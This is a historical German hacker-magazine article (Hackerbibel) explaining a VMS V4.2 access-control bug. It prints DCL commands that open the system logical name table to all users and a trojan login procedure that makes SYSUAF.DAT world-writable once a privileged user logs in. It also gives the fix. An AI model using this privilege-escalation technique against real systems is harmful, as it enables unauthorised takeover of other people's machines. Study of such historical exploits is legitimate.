[HaBi 2]    Bits, Bugs & Vaxen

Bits, Bugs & Vaxen Erwartungsgemäß soll jede Art von Software, insbesondere das Betriebssystem einer Rechenanlage, dem Anwender einen fehlerfreien und sicheren Betrieb des Computersystems garantieren. Die Systementwickler entwerfen Programme, ohne auch nur im geringsten zu erwarten, daß sie auf Anhieb korrekt sein werden. Programmierer verbringen mindestens genau soviel Zeit damit, ihre Software zu testen und eventuellen Fehlern entgegenzuwirken. Was das im einzelnen für Bugs, also Fehler sind, ist schwer zu sagen. Manche sind sicher harmlos, andere möglicherweise kritisch und führen zum gefürchteten Systemcrash. Programmierfehler sind nun einmal unvermeidbar, und manchmal auch einfach unauffindbar. Wer dennoch glaubt, daß Software Engineering primitiv ist und Fehler grundsätzlich vermieden werden können, der hat noch keine größeren Probleme in algorithmischer Form in Angriff genommen. Die großen Systemhersteller beschäftigen Spezialisten ausschließlich für die Qualitätssicherung ihrer Softwareprodukte. Denn sie wissen, daß Programmierer eigene Fehler am schwersten finden oder diese gar mit Absicht einbauen können. Software wird nicht erst dann zur Benutzung freigegeben, wenn sie nachweisbar korrekt funktioniert, sondern bereits dann, wenn die Häufigkeit, mit der neue Fehler entdeckt werden, auf ein für die Geschäftsleitung akzeptables Niveau gesunken ist. Anwender müssen lernen, Fehler und deren Konsequenzen zu erwarten. Ihnen wird gerade von den Hackern häufig erklärt, wie sie bis zur Verbesserung der Software die Fehler umgehen können. Gerade die VAX-Systeme und ihr Betriebssystem VMS von DEC setzen sich aus einfach zu verstehenden und strukturiert aufgebauten Software-Modulen zusammen. VMS gilt bei den Hackern nicht zu Unrecht als eines von der Qualität und Systemsicherheit meistgeschätztesten Betriebssysterne der Welt. Doch auch in dem so ausgeklügelten VMS werden immer wieder Bugs entdeckt, die sich als echte Sicherheitslöcher des Betriebssystems erweisen. Ziel eines auf Datenreise befindlichen VAX-Tüftlers ist bekannterweise nicht nur das Eindringen in VAXen, sondern diese auch unter Kontrolle zu bekommen. Um sich nun nach einem Eindringen in ein VAX-System die nötigen SYSTEM-Privilegien zu verschaffen, sucht der geschickte und erfahrene Hacker erst einmal nach dem SESAM ÖFFNE DICH des Betriebssystems. Erst wenn dieser gefunden ist und das Reich der Privilegien erschlossen wurde, gilt eine VAX unter Hackern als geknackt bzw. offen. Einige dieser SESAM ÖFFNE DICH-VAX-Verfahren gingen in die Geschichte ein. Des Hackers wahre Freude ist die Vielzahl und Reichhaltigkeit dieser Verfahren, um rasch als unpriviligierter User den Status des SYSTEM-Managers einzunehmen. Die Geschichte vom Trojanischen DCL Pferd (Digital Command Language) in VMS V4.2 bietet besonderen Anlaß zur Aufmerksamkeit. DEC bietet seit der VMS Generation 4.X ein neues SECURITY-Utility an - die ACE's und ACL's (Access Control Entries/Lists). Ein ACL bietet dem SYSTEM Manager die Möglichkeit, auf bestimmte Objekte, wie etwa Dateien und Peripherie, nicht privilegierten Usern Rechte zu gewähren oder eben auch zu verwehren. Seit VMS V4.2 ist nun neu, daß ACLs auch auf LOGICALs setzbar sind. Da im Prinzip jeder User ACLs verwenden darf, stellte sich die Frage, ob eben diese auch auf Objekte setzbar wären, deren Berührung normalerweise SYSTEM-Privilegien erforderte. Die Softwareanalytiker bei DEC unterließen in VMS V4.2 die Prüfung auf das für eine Modifizierung der SYSTEM-Tabelle erforderliche SYSNAM-Privileg. Dieses ermöglicht nun einem nichtpriviligierten User, die SYSTEM Tabelle mit einem ACL zu versehen, der äquivalent mit dem SYSNAM-Privileg sämtliche Rechte auf die SYSTEM Tabelle gewährt. $ SET ACL/OBJECT=LOGICAL/ACL=(ID=*,ACCESS=R+W+E+D+C) - LNM$SYSTEM-TABLE $ SET ACL/OBJECT=LOGICAL/ACL=(ID=*,ACCESS=R+W+E+D+C) - LNM$SYSTEM-DIRECTORY Diese beiden DCL-Zeilen bieten mit der ID=* jedem User einer 4.2er VAX die Rechte R=read, W=write, E=execute, D=delete und C=control auf die SYSTEM-Tabelle. Dieser Bug birgt weiterhin das Risiko eines Systemcrashs, falls ein Unerfahrener alle in der SYSTEM-Tabelle befindlichen LOGICALs löscht. Das SYSNAM-Privileg und sonüt auch dieser ACL zählen zur Gruppe der SYSTEM-Privilegien, doch dies bedeutet noch lange nicht, alle Privilegien einer VAX zu besitzen. Der Hacker bedient sich des Trojanischen Pferdes, indem er die Möglichkeit nutzt, fremde LOGICALs in die SYSTEM-Tabelle einzutragen. Jeder einloggende User durchläuft eine ihm zugewiesene login-Prozedur. Weist man dieser Prozedur einen LOGICAL-Namen zu, so wird VMS erst dem LOGICAL folgen und nicht erst die Prozedur namens LOGIN.COM starten. Im User Authorization File (UAF) wird für jeden User diese login-Prozedur als LGICMD definiert. Im Grundzustand verwendet DEC besagtes LOGIN, falls im UAF bei LGICMD keine andere Prozedur definiert wurde. $ DEFINE/SYSTEM LOGIN DISK:ÄDIRECTORYÜTROJANHORSE.COM Das vom LOGICAL LOGIN aufgerufene Trojanische DCL Pferd prüft die Privilegien jedes einloggenden Users und läßt die VAX vom eigenen SYSTEM Manager persönlich sprengen. Als DCL Prozedur bietet sich förmlich an: $ IF F$PRIVILEGE("SETPRV"),EQS. "FALSE" THEN GOTO NIX $ SET PROCESS/PRIVILEGE=ALL $ SET PROTECTION=(W:RWED) SYS$SYSTEM;SYSUAF.DAT $ DELETE'F$LOGICAL("LOGIN") $ DEASSIGN/SYSTEM LOGIN $ NIX: $ §SYS$LOGIN:LOGIN.COM Es darf nicht vergessen werden, dieses File auch für die Benutzung durch World User freizugeben. Der erste einloggende privileglerte User wird unbemerkt dem Hacker die Kontrolle über das SYSTEM anvertrauen. Der Hacker braucht nur noch mittels des UAF-Programms und eventueller Umgehung von möglichen Security-Maßnahmen seitens des SYSTEM-Managers seinem eigenen Account alle Privilegien zu geben. SYSTEM-Manager oder Hacker können natürlich ebenso durch einen ACL die Modifizierbarkeit der SYSTEM-Tabelle verhindern. $ SET ACL/OBJECT=LOGICAL/ACL=(ID=*,ACCESS=R+E) - LNM$SYSTEM-TABLE $ SET ACL/OBJECT=LOGICAL/ACL=(ID=*,ACCESS=R+E) - LNM$SYSTEM-DIRECTORY Diese Methode wurde bereits in der amerikanischen DECUS Pagewapper Anfang letzen Jahres diskutiert. DEC reagierte damals mit einem VMS-Update auf V4.3, womit dieser DCL-Bug verschwand. Erstaunlicherweise existieren am internationalen Datennetz immer noch Maschinen mit der 4.2er Betriebssystem-Version. Kaum zu glauben, daß dort noch nicht einmal der Bug bekannt zu sein scheint. S.Stahl

[HaBi 2]    Bits, Bugs & Vaxen